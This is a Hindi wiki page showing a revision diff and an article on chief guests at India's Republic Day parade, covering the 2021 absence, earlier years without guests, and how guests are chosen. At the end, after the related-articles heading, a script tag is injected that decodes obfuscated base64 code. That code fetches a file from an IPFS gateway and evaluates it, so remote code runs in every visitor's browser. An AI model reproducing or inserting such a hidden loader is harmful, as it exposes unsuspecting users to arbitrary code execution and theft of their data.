गणतंत्र दिवस पर मुख्य अतिथि: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 22: | Line 22: | ||
|- | |- | ||
| [[2020]] | | [[2020]] | ||
| जेयर | | [[जेयर बोलसोनारो]] | ||
|[[चित्र:Bolsonaroreuters 1579922737.jpg|center|80px]] | |[[चित्र:Bolsonaroreuters 1579922737.jpg|center|80px]] | ||
| [[ब्राज़ील]] के राष्ट्रपति | | [[ब्राज़ील]] के राष्ट्रपति | ||
|- | |- | ||
| [[2019]] | | [[2019]] | ||
| सीरिल रामाफोसा | | [[सीरिल रामाफोसा]] | ||
|[[चित्र:Ramaphosa.jpg|center|80px]] | |[[चित्र:Ramaphosa.jpg|center|80px]] | ||
| [[दक्षिण अफ़्रीका]] | | [[दक्षिण अफ़्रीका]] |
Revision as of 08:29, 29 January 2021
गणतंत्र दिवस (अंग्रेज़ी: Republic Day) भारत में 26 जनवरी को मनाया जाता है। यह भारत का एक राष्ट्रीय पर्व है। हर वर्ष 26 जनवरी एक ऐसा दिन है, जब प्रत्येक भारतीय के मन में देश भक्ति की लहर और मातृभूमि के प्रति अपार स्नेह भर उठता है। ऐसी अनेक महत्त्वपूर्ण स्मृतियां हैं जो इस दिन के साथ जुड़ी हुई है। 26 जनवरी, 1950 को देश का संविधान लागू हुआ और इस प्रकार यह सरकार के संसदीय रूप के साथ एक संप्रभुताशाली समाजवादी लोकतांत्रिक गणतंत्र के रूप में भारत देश सामने आया। भारतीय संविधान, जिसे देश की सरकार की रूपरेखा का प्रतिनिधित्व करने वाले पर्याप्त विचार विमर्श के बाद विधान मंडल द्वारा अपनाया गया, तब से 26 जनवरी को भारत के गणतंत्र दिवस के रूप में भारी उत्साह के साथ मनाया जाता है और इसे राष्ट्रीय अवकाश घोषित किया जाता है। यह आयोजन हमें देश के सभी शहीदों के नि:स्वार्थ बलिदान की याद दिलाता है, जिन्होंने आज़ादी के संघर्ष में अपने जीवन बलिदान कर दिए और विदेशी आक्रमणों के विरुद्ध अनेक लड़ाइयाँ जीती।
मुख्य अतिथि-2021
गणतंत्र दिवस की परेड (26 जनवरी, 2021) के अवसर पर कोई भी मुख्य अतिथि के रूप में शामिल नहीं हुआ। ऐसा चौथी बार था, जब कोई विदेशी मेहमान बतौर मुख्य अतिथि परेड में शामिल नहीं हुआ। ब्रिटेन के प्रधानमंत्री बोरिस जॉनसन को मुख्य अतिथि के रूप में आमंत्रित किया गया था, लेकिन ब्रिटेन में कोरोना विषाणु के कारण बिगड़ते हालात की वजह से उन्होंने आने में असमर्थता जताई। इससे पहले भी वर्ष 1952 और 1953 में भारत के गणतंत्र दिवस समारोह में कोई विदेशी नेता मुख्य अतिथि के तौर पर शामिल नहीं था। वहीं 1966 में तत्कालीन प्रधानमंत्री लाल बहादुर शास्त्री के आकस्मिक निधन के तुरंत बाद पड़े गणतंत्र दिवस पर भारत ने किसी विदेशी राष्ट्राध्यक्ष को आमंत्रित नहीं किया था।
कैसे होता है अतिथि चयन
गणतंत्र दिवस समारोह के लिए मुख्य अतिथि कौन होगा, इसका फैसला लंबे विचार-विमर्श के बाद किया जाता है। मुख्य अतिथि को लेकर फैसला भारत के राजनयिक हितों को ध्यान में रखकर किया जाता है। विदेश मंत्रालय भारत और उसके करीबी देश के बीच संबंधों को ध्यान में रखकई कई मुद्दों पर विचार करता है, जिसके बाद मुख्य अतिथि को निमंत्रण दिया जाता है। कई मुद्दों पर चर्चा की जाती है। इनमें राजनीतिक, आर्थिक और वाणिज्यिक संबंध, सैन्य सहयोग आदि शामिल हैं। एमईए विचार-विमर्श के बाद अतिथि को निमंत्रण देने के लिए प्रधानमंत्री की मंजूरी लेता है। जिसके बाद राष्ट्रपति भवन की मंजूरी ली जाती है। मंजूरी मिलने के बाद जिस देश के व्यक्ति को मुख्य अतिथि के रूप में चुना जाता है, उस देश में भारत के राजदूत अतिथि की उपलब्धता का पता लगाने की कोशिश करते हैं। इसके बाद विदेश मंत्रालय की तरफ़ से बातचीत शुरू होती है और अतिथि के लिए निमंत्रण भेजा जाता है। गणतंत्र दिवस के लिए मुख्य अतिथि का चयन अन्य देशों की रुचि और अतिथि की उपलब्धता के आधार पर किया जाता है।[1]
- REDIRECTसाँचा:इन्हें भी देखें
मुख्य अतिथि सूची
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ जानिए कैसे होता है गणतंत्र दिवस के मुख्य अतिथि का चयन (हिंदी) khabar.ndtv.com। अभिगमन तिथि: 29 जनवरी, 2020।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>